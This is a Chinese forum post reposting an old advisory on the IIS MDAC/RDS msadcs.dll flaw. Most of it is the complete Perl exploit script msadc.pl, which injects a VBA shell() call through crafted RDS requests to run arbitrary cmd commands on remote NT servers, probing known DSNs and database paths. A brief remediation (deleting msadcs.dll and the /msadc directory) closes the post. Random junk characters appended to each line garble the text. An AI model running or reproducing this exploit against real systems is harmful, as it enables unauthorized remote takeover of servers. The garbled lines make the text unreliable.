社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168079阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 7Yj\*N  
@oYq.baHX  
涉及程序: 9 J5Z'd_  
Microsoft NT server l W&glU(  
E_?3<)l)RI  
描述: #_7}O0?c3  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ?\hXJih  
9FV#@uA}D  
详细: M~N'z /  
如果你没有时间读详细内容的话,就删除: R52q6y:<x  
c:\Program Files\Common Files\System\Msadc\msadcs.dll )IZ$R*Y{  
有关的安全问题就没有了。 Y<#7E;aL  
Kt}dTpVFr  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `p1`Sxz?  
*o"F.H{#N  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 aKCCFHq t!  
关于利用ODBC远程漏洞的描述,请参看: L?KEe>;r  
3)0*hq&83  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm AW> P\>{RE  
<;9 vwSH>  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 wm2Q(l*HH  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp -ZihEyG?V  
HTx7._b  
这里不再论述。 o'Tqqrr  
5-u=ZB%p  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: s?%1/&.~  
 2 H^9Qd  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset :^iR&`2~  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! m@HU;J\I  
y'pG'"U]_  
R4V>_\D/  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )_bXKYUX*0  
Nt/*VYUn  
#!perl l^0 <a<P  
# yY_]YeeR  
# MSADC/RDS 'usage' (aka exploit) script lBh {8a|2W  
# `hH1rw@7<  
# by rain.forest.puppy tO~H/0  
# $h_@`j  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me |y'q`cY  
# beta test and find errors! (\R"v^  
#lVVSrF,-  
use Socket; use Getopt::Std; 4a)qn?<z  
getopts("e:vd:h:XR", \%args); A0[flIl  
hZzsZQ`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; :EA,0 ,  
UJ6WrO5#kB  
if (!defined $args{h} && !defined $args{R}) { 'mmyzsQ \6  
print qq~ *Li;:b"t  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <,cDEN7  
-h <host> = host you want to scan (ip or domain) {h@R\bU  
-d <seconds> = delay between calls, default 1 second R`$Odplh>  
-X = dump Index Server path table, if available J-,T^Wv  
-v = verbose uNx3us-  
-e = external dictionary file for step 5 ,[ Ytl  
C2`END;  
Or a -R will resume a command session Vx#xq#wK  
Tp0Tce/  
~; exit;} %|,j'V$  
f'%}{l: ss  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; {=R=\Y?r&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ,e,fOL  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }D|"$*  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); TAGqRYgi  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} iezz[;t  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } oHa6fi  
52%.^/  
if (!defined $args{R}){ $ret = &has_msadc; (,<?Pg7v:f  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} -i;#4@^t  
7tt&/k?Q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" a{)"KAP  
. "cmd /c "; n$~RgCf  
$in=<STDIN>; chomp $in; i-/'F  
$command="cmd /c " . $in ; thq(tK7  
q=6M3OnS>  
if (defined $args{R}) {&load; exit;} Y#rao:I  
$%!]tNGS  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 9vVYZ}HC  
&try_btcustmr; 7qnw.7p  
< Gu s9^_  
print "\nStep 2: Trying to make our own DSN..."; cZHlW|$R  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; W;hI[9  
0gnr@9,X  
print "\nStep 3: Trying known DSNs..."; E7 7Au;TL  
&known_dsn; $osDw1C  
Lo !kv*  
print "\nStep 4: Trying known .mdbs..."; cvAkP2  
&known_mdb; X}S<MA`  
O*c +TiTb  
if (defined $args{e}){ n!f @JHL  
print "\nStep 5: Trying dictionary of DSN names..."; )C <sj   
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } %)]{*#N4  
Z}XA (;ck  
print "Sorry Charley...maybe next time?\n"; ,@GI3bl  
exit; J/)Q{*`_  
/J5wwQ (:  
############################################################################## ZfIQ Fh>  
;[%AeN5W  
sub sendraw { # ripped and modded from whisker R{Cj]:Ky  
sleep($delay); # it's a DoS on the server! At least on mine... c!6.D  
my ($pstr)=@_; 6&h,eQ!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W${0#qq  
die("Socket problems\n"); {:!*1L  
if(connect(S,pack "SnA4x8",2,80,$target)){ ve'hz{W  
select(S); $|=1; ~|+   
print $pstr; my @in=<S>; 9D-PmSnv  
select(STDOUT); close(S); BK6oW3wD/  
return @in; VYik#n>|Gp  
} else { die("Can't connect...\n"); }} 8BBuYY {  
JrS|Ib)6  
############################################################################## wR\%tumk  
<Y<%=`  
sub make_header { # make the HTTP request M/>^_zG  
my $msadc=<<EOT MT}9T  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  w8$8P  
User-Agent: ACTIVEDATA arRb q!mO  
Host: $ip '\=aSZVO  
Content-Length: $clen _-^a8F>/19  
Connection: Keep-Alive kp LDK81I  
x7>' 1  
ADCClientVersion:01.06 =J<3B H^m  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Qne@Vf kA  
o4\\q66K  
--!ADM!ROX!YOUR!WORLD! ?7*.S Lt  
Content-Type: application/x-varg Z`T]jm-3  
Content-Length: $reqlen PFu{OJg&  
#8i DM5:EQ  
EOT +9<"Y6  
; $msadc=~s/\n/\r\n/g; O,x[6P54P  
return $msadc;} WB K6Ug  
8,7^@[bzXx  
############################################################################## gE\&[;)DB  
_ VKBzOH  
sub make_req { # make the RDS request TD!--l*gL  
my ($switch, $p1, $p2)=@_; j 4!$[h  
my $req=""; my $t1, $t2, $query, $dsn; gF# HNv  
?(0=+o(`  
if ($switch==1){ # this is the btcustmr.mdb query nl5A{ s  
$query="Select * from Customers where City=" . make_shell(); J}BN}|Y@2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . vhIZkz!9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} vJ9I z  
ct`j7[  
elsif ($switch==2){ # this is general make table query ``4e&  
$query="create table AZZ (B int, C varchar(10))"; WX6}@mS.  
$dsn="$p1";} `i`+yh>pc#  
G%iT L"6  
elsif ($switch==3){ # this is general exploit table query =HMa<"-8  
$query="select * from AZZ where C=" . make_shell(); 2[j(C  
$dsn="$p1";} z36wWdRa6  
lg"aB  
elsif ($switch==4){ # attempt to hork file info from index server `OFW^Esc  
$query="select path from scope()"; hh8Grl;  
$dsn="Provider=MSIDXS;";} 3{$vN).  
`6$|d,m5  
elsif ($switch==5){ # bad query 4>A|2+K\  
$query="select"; >3ax `8  
$dsn="$p1";} NNt  n  
5skxixG  
$t1= make_unicode($query); TyDh\f!w  
$t2= make_unicode($dsn); 'X<4";$mU  
$req = "\x02\x00\x03\x00"; ijsoY\V50  
$req.= "\x08\x00" . pack ("S1", length($t1)); n{u\t+f  
$req.= "\x00\x00" . $t1 ; mG"xo^1_H  
$req.= "\x08\x00" . pack ("S1", length($t2)); &1(- 8z*  
$req.= "\x00\x00" . $t2 ; ,qx^D  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &&nbdu  
return $req;} Kv<f< >|L  
fIl;qGz85  
############################################################################## ]{oZn5F  
I`zd:o]  
sub make_shell { # this makes the shell() statement |BbzRis  
return "'|shell(\"$command\")|'";} P q$0ih  
Cb1w8l0  
############################################################################## 'IG@JL'  
v\GVy[Qyv  
sub make_unicode { # quick little function to convert to unicode gVrQAcJj  
my ($in)=@_; my $out; V"m S$MN  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;-6-DEL  
return $out;} L RVcf  
GlnO8cAB  
############################################################################## =e4 r=I  
AH|gI2  
sub rdo_success { # checks for RDO return success (this is kludge) wqhktgG  
my (@in) = @_; my $base=content_start(@in); oQ 2$z8  
if($in[$base]=~/multipart\/mixed/){ 8 q@Z  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} r/2= nE  
return 0;} TG%B:^Yz!  
$#q`Y+;L2  
############################################################################## v8)"skVnFG  
=eDIvNps  
sub make_dsn { # this makes a DSN for us b~J)LXj]w  
my @drives=("c","d","e","f"); N ~{N Nf Y  
print "\nMaking DSN: "; f#= c=e-A  
foreach $drive (@drives) { HwFX,?  
print "$drive: "; BH">#&j[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . N-gYamlQ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 6RnzT d  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); q.c)>=!.  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; xWxc1tT`  
return 0 if $2 eq "404"; # not found/doesn't exist TxX=(7V  
if($2 eq "200") { t:2v`uk  
foreach $line (@results) { 2yZr!Rb~*  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Fl-\{vOn  
} return 0;} m1l6QcT1  
J;C:nE|V  
############################################################################## {~3QBMx6  
?13qDD:  
sub verify_exists { p49]{2GXb  
my ($page)=@_; ;]u9o}[ 2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); j*jUcD *  
return $results[0];} v $Iw?y  
=]Vz= <  
############################################################################## JZ:@iI5>+  
j]Jgz<  
sub try_btcustmr { kAki 9a(=!  
my @drives=("c","d","e","f"); 1~5DIU^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F$C6( C?  
c$O8Rhx  
foreach $dir (@dirs) { ^[M{s(b  
print "$dir -> "; # fun status so you can see progress 558P"w0"X  
foreach $drive (@drives) { 5*AXL .2ih  
print "$drive: "; # ditto @^P^- B  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Zw.8B0W  
$reqlenlen=length( "$reqlen" ); ]~({;;3o-  
$clen= 206 + $reqlenlen + $reqlen; jJy:/!i  
?sf<cFF  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); WYw#mSp  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \|]mClj#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ~r1pO#r-  
a=iupXre9  
############################################################################## W>K^55'  
z p E|  
sub odbc_error { WYP;s7_  
my (@in)=@_; my $base; r|Ui1f5  
my $base = content_start(@in); w;z7vN~/O  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this i0vm00oT  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $></%S2g  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LdPLC':}x|  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; BOs/:ZbK0W  
return $in[$base+4].$in[$base+5].$in[$base+6];} bSB%hFp=Cp  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Harg<l  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $Ome]+0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |=?#Xbxz  
wP!X)p\  
############################################################################## ,eXtY}E  
hAGHb+:  
sub verbose { >4:d)  
my ($in)=@_; 79\ wjR!T  
return if !$verbose; 2hh8G5IaQ  
print STDOUT "\n$in\n";} nbi7r cT  
5xQ-f  
############################################################################## ']_2@<XW)  
U{U"%XdO  
sub save { NYm"I`5w  
my ($p1, $p2, $p3, $p4)=@_; [>=!$>>;8  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; }F`|_8L*v)  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ZnG.::&:  
close OUT;} ^D yw(>9  
i?00!t  
############################################################################## hW^,' m  
9t`;~)o  
sub load { Dg&84,bv^  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; r*X,]\V0x  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); VF]AH}H8I  
@p=<IN>; close(IN); @Nu2 :~JO  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); \2SbW7"/;P  
$target= inet_aton($ip) || die("inet_aton problems"); 5!-TLwl`j\  
print "Resuming to $ip ..."; $( hT{C,K  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; / 3A6xPOg  
if($p[1]==1) { $=aO*i  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; v2T2/y%  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Zk3Pv0c  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); .~z'm$s1o  
if (rdo_success(@results)){print "Success!\n";} LPk@t^[  
else { print "failed\n"; verbose(odbc_error(@results));}} s**<=M GK  
elsif ($p[1]==3){ >)><u4}  
if(run_query("$p[3]")){ QY\k3hiqn  
print "Success!\n";} else { print "failed\n"; }} IwYeKN6s  
elsif ($p[1]==4){ |Uh8b %  
if(run_query($drvst . "$p[3]")){ .@1+}0  
print "Success!\n"; } else { print "failed\n"; }} T$Z9F^w  
exit;} ?gH[la  
Q*ITs!~Z  
############################################################################## mScv7S~/s  
N&9o  1_}  
sub create_table { q"2QNF'  
my ($in)=@_; B2`S0 H  
$reqlen=length( make_req(2,$in,"") ) - 28; WI8}_){ d  
$reqlenlen=length( "$reqlen" ); R@e'=z[%1  
$clen= 206 + $reqlenlen + $reqlen; BK$y>= `  
my @results=sendraw(make_header() . make_req(2,$in,"")); i FI74COam  
return 1 if rdo_success(@results); b3(* /KgK  
my $temp= odbc_error(@results); verbose($temp); Q>niJ'7WF  
return 1 if $temp=~/Table 'AZZ' already exists/; b R\7j+*&  
return 0;} JsEJ6!1  
bS_#3T  
############################################################################## spK8^sh  
WBe0^=x  
sub known_dsn { UG| /Px ]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0<M-asI?  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 2"/MM2s  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 6opin  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 0G%9 @^B  
 hfB$4s9  
foreach $dSn (@dsns) { ' jciX]g  
print "."; q'3{M]Tk  
next if (!is_access("DSN=$dSn")); (;NJ<x  
if(create_table("DSN=$dSn")){ >w,L=z=  
print "$dSn successful\n"; ]8G 'R-8}  
if(run_query("DSN=$dSn")){ I&PJ[U#~a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VRo&1:  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Dy08.Sss  
kHM Jh~  
############################################################################## VQ=  
#G9 W65f  
sub is_access { ns[/M~_r  
my ($in)=@_; iTxWXij  
$reqlen=length( make_req(5,$in,"") ) - 28; xC76jE4  
$reqlenlen=length( "$reqlen" ); S ?Zh#`(*  
$clen= 206 + $reqlenlen + $reqlen; u=`H n-(  
my @results=sendraw(make_header() . make_req(5,$in,"")); {i;,Io7 W  
my $temp= odbc_error(@results); c r=Q39{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <,vIN,Kl8/  
return 0;} 5(;Y&?k  
A|biOz  
############################################################################## uHbg&eW  
q~`hn(S  
sub run_query { e02Hf{eOfw  
my ($in)=@_; )@]%:m!ER  
$reqlen=length( make_req(3,$in,"") ) - 28; $q!A1Fgk0  
$reqlenlen=length( "$reqlen" ); oZ{,IZ45  
$clen= 206 + $reqlenlen + $reqlen; rFzNdiY  
my @results=sendraw(make_header() . make_req(3,$in,"")); fe .=Z&  
return 1 if rdo_success(@results); GrF4*I`q  
my $temp= odbc_error(@results); verbose($temp); i?L=8+9f  
return 0;} }i9:k kfq2  
+'F;\E  
############################################################################## H3wJ5-q(  
 lKbWQ>  
sub known_mdb { n6Oz[7M  
my @drives=("c","d","e","f","g"); rrIyZ@_d9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =By@%ioIGG  
my $dir, $drive, $mdb; rgy I:F.  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0 kJ8H!~u  
?mMM{{%(.  
# this is sparse, because I don't know of many .Ys e/oEo  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ]*dYX=6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", UfW=/T  
"\\system32\\certmdb.mdb", # epP~J_f  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% b'wy{~l@  
x,n l PU  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", <B@NSj  
"\\cfusion\\cfapps\\forums\\forums_.mdb", K6{wM  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", _'D(>e?  
"\\cfusion\\cfapps\\security\\realm_.mdb", o Mz{j:  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", zJXK:/  
"\\cfusion\\database\\cfexamples.mdb", Xg~9<BGsi  
"\\cfusion\\database\\cfsnippets.mdb", 'Agw~ &$  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [aSuEu?mC  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", H&-3`<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", <F^9ML+'  
"\\cfusion\\database\\smpolicy.mdb", MKbcJZe  
"\\cfusion\\database\cypress.mdb", H*]Vs=1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", A%#M#hD/  
"\\website\\cgi-win\\dbsample.mdb", tR51Pw  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |!FQQ(1b  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ;*?>w|t}w  
); #these are just ")KqPD6k  
foreach $drive (@drives) {  Z 9:  
foreach $dir (@dirs){ 6UCF w>  
foreach $mdb (@sysmdbs) { a!R*O3  
print "."; gWgp:;Me  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =`x }9|[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +cfcr*  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ yeyDB>#Va.  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =%8 yEb*5#  
} else { print "Something's borked. Use verbose next time\n"; }}}}} FS}b9sQ)  
0n:cmML )D  
foreach $drive (@drives) { F]M-r{  
foreach $mdb (@mdbs) { he(K   
print "."; KBM*7raA  
if(create_table($drv . $drive . $dir . $mdb)){ Muwlehuq  
print "\n" . $drive . $dir . $mdb . " successful\n"; t U}6^yc  
if(run_query($drv . $drive . $dir . $mdb)){ '$Z)2fn7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;  kNK0KL  
} else { print "Something's borked. Use verbose next time\n"; }}}} 7c"Csq/]I  
} e?XFtIj$  
j7)mC4o:%  
############################################################################## X$KTsG*  
HW]?%9a  
sub hork_idx { ~AjPa}@ f  
print "\nAttempting to dump Index Server tables...\n"; dnomnY(*<  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~~Bks{"BS  
$reqlen=length( make_req(4,"","") ) - 28; L ~'98C  
$reqlenlen=length( "$reqlen" ); %|e)s_%XE  
$clen= 206 + $reqlenlen + $reqlen; gy@=)R/~  
my @results=sendraw2(make_header() . make_req(4,"","")); T1qbb*  
if (rdo_success(@results)){ .X%J}c$  
my $max=@results; my $c; my %d; g"748LY>=p  
for($c=19; $c<$max; $c++){ `(HvD] l  
$results[$c]=~s/\x00//g; Nl[&rZ-&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; rJGh3%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; {U2AAQSa  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 4GP?t4][  
$d{"$1$2"}="";} I#xdksY  
foreach $c (keys %d){ print "$c\n"; } N ;=z o-8  
} else {print "Index server doesn't seem to be installed.\n"; }} oi|N8a2R  
RWv4/=}(G  
############################################################################## 2$Xof  
QL8C!&=  
sub dsn_dict { IDn<5#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 1q(Qr h  
while(<IN>){ nHm29{G0  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; D2}^TIg  
next if (!is_access("DSN=$dSn")); /i8OyRpSyk  
if(create_table("DSN=$dSn")){ 8OZasf  
print "$dSn successful\n"; -XXsob}/8  
if(run_query("DSN=$dSn")){ kr+p&|.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VOD-< "|  
print "Something's borked. Use verbose next time\n";}}} ic`BDkNO  
print "\n"; close(IN);} _|US`,kfc  
S>I` y]qlR  
############################################################################## +# 'w} P  
!*Is0``  
sub sendraw2 { # ripped and modded from whisker wr"0+J7  
sleep($delay); # it's a DoS on the server! At least on mine... w\s`8S  
my ($pstr)=@_; /V09Na,N  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rmzzbLTu  
die("Socket problems\n"); ld ]*J}cw  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y f!Oo  
print "Connected. Getting data"; <4.Exha;=  
open(OUT,">raw.out"); my @in; QNOdt2NN  
select(S); $|=1; print $pstr; ss%,  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} >I\B_q  
close(OUT); select(STDOUT); close(S); return @in; d^A]]Xg  
} else { die("Can't connect...\n"); }} \1G '{# Q  
*Z"`g %,;  
############################################################################## iV/I909*''  
hUi@T}aA|  
sub content_start { # this will take in the server headers OiQf=Uz\  
my (@in)=@_; my $c; l+@;f(8}  
for ($c=1;$c<500;$c++) { 5?;<^J  
if($in[$c] =~/^\x0d\x0a/){ `{:Nt#7  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } qZ^ PC-  
else { return $c+1; }}} ^%,{R},s  
return -1;} # it should never get here actually _l9fNf!@  
Ur#jJR@%3  
############################################################################## 53{\H&q  
J-tqEK*  
sub funky { 'Wnh1|z  
my (@in)=@_; my $error=odbc_error(@in); Xd%qebK  
if($error=~/ADO could not find the specified provider/){ 73rme,   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; .4^+q9M  
exit;} I}bu  
if($error=~/A Handler is required/){ Q&:)D7m\)S  
print "\nServer has custom handler filters (they most likely are patched)\n"; je^VJ&ac  
exit;}  q6F1Rt  
if($error=~/specified Handler has denied Access/){ )iw-l~y;  
print "\nServer has custom handler filters (they most likely are patched)\n"; (|<S%?}J  
exit;}} */h(4Hz  
$B-/>Rz  
############################################################################## `{!A1xKZ  
6:G&x<{  
sub has_msadc { UDr 1t n  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); U!q2bF<@  
my $base=content_start(@results); Ob]\t/:%P  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); bK%F_v3'  
return 0;} E2r5Pg  
d]e36Dwk  
######################## 'O)v@p "  
[T r7SU#x  
uSR%6=$  
解决方案: "qq$i35x  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll :ir#7/  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 [!%5(Ro_  
}Q: CZ  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五